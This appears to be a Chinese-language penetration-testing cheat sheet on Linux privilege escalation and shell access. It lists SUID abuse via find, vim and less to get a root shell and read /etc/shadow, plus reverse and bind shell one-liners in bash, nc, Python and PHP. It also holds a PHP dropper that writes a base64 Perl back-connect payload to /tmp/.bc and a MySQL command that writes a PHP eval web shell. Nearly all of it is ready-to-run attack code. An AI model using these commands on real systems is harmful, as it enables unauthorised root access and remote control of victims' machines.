提权相关
查看系统上运行的所有SUID可执行文件
1 2 3
| $ find / -user root -perm -4000 -print 2>/dev/null $ find / -perm -u=s -type f 2>/dev/null $ find / -user root -perm -4000 -exec ls -ldb {} \;
|
以上所有二进制文件都将以root用户权限执行,因为它们的权限中包含"s",并且对应的是root权限。
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
1 2
| $ touch pentestlab $ find pentestlab -exec whoami \;
|
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
在被攻击机执行1
| $ find pentestlab -exec netcat -lvp 被攻击机监听端口 -e /bin/sh \;
|
连接上去就会直接获取到一个Root权限的shell。
在攻击机执行
1
| $ netcat 被攻击机ip 被攻击机监听端口
|
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
1 2 3 4
| vim.tiny /etc/shadow
:set shell=/bin/sh :shell
|
Less和More都执行以用来提权。
1 2
| $ less /etc/passwd !/bin/sh
|
- 反弹shell相关
反向连接
使用bash
1
| $ bash -i >& /dev/[tcp|udp]/攻击机ip/攻击机端口号 0>&1
|
使用nc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| $ nc -e /bin/sh 攻击机ip 攻击机端口号 $ nc -c /bin/sh 攻击机ip 攻击机端口号
-c shell commands as '-e'; use /bin/sh to exec [dangerous!!] -e filename program to exec after connect [dangerous!!]
没有-e的情况: 攻击机执行:
$ nc -lnvp 攻击机监听端口号
被攻击机执行:
$ /bin/sh | nc 攻击机ip 攻击机监听端口号
$ mknod /tmp/backpipe p 或者 $ mkfifo /tmp/backpipe $ /bin/sh 0</tmp/backpipe | nc 攻击机ip 攻击机监听端口号 1>/tmp/backpipe
mknod 管道名 p,mkfifo 管道名 都是创建管道的命令
|
使用python
1 2
| $ python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.28.85.115',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" $ python -c "import pty;pty.spawn('/bin/bash')"
|
使用php 访问反弹
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52
| <?php function which($pr) { $path = execute("which $pr"); return ($path ? $path : $pr); } function execute($cfe) { $res = ''; if ($cfe) { if(function_exists('exec')) { @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')) { $res = @shell_exec($cfe); } elseif(function_exists('system')) { @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')) { @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))) { $res = ''; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); } } return $res; } function cf($fname,$text){ if($fp=@fopen($fname,'w')) { @fputs($fp,@base64_decode($text)); @fclose($fp); } }
$yourip = " 攻击机ip"; $yourport = "攻击机监听端口号"; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; cf('/tmp/.bc',$back_connect); $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
|
终端执行反弹1 2
| $ php -r 'exec("/bin/bash -i >& /dev/tcp/攻击机ip/攻击机监听端口号")' $ php -r '$sock=fsockopen("攻击机ip",攻击机监听端口号);exec("/bin/sh -i <&3 >&3 2>&3");'
|
正向连接
1 2 3 4 5 6 7 8 9 10 11
| 被攻击机:
$ rm -f /tmp/f; mkfifo /tmp/f $ cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
$ nc -lvvp 被攻击机监听端口 -e /bin/bash
攻击机:
$ nc 被攻击机ip 被攻击机监听端口
|
Mysql
写出文件
1
| Select '<? php eval($_POST[密码]);?>' into outfile 'd:/wwwroot/1.php';
|
读取文件
1
| select load_file('/etc/passwd');
|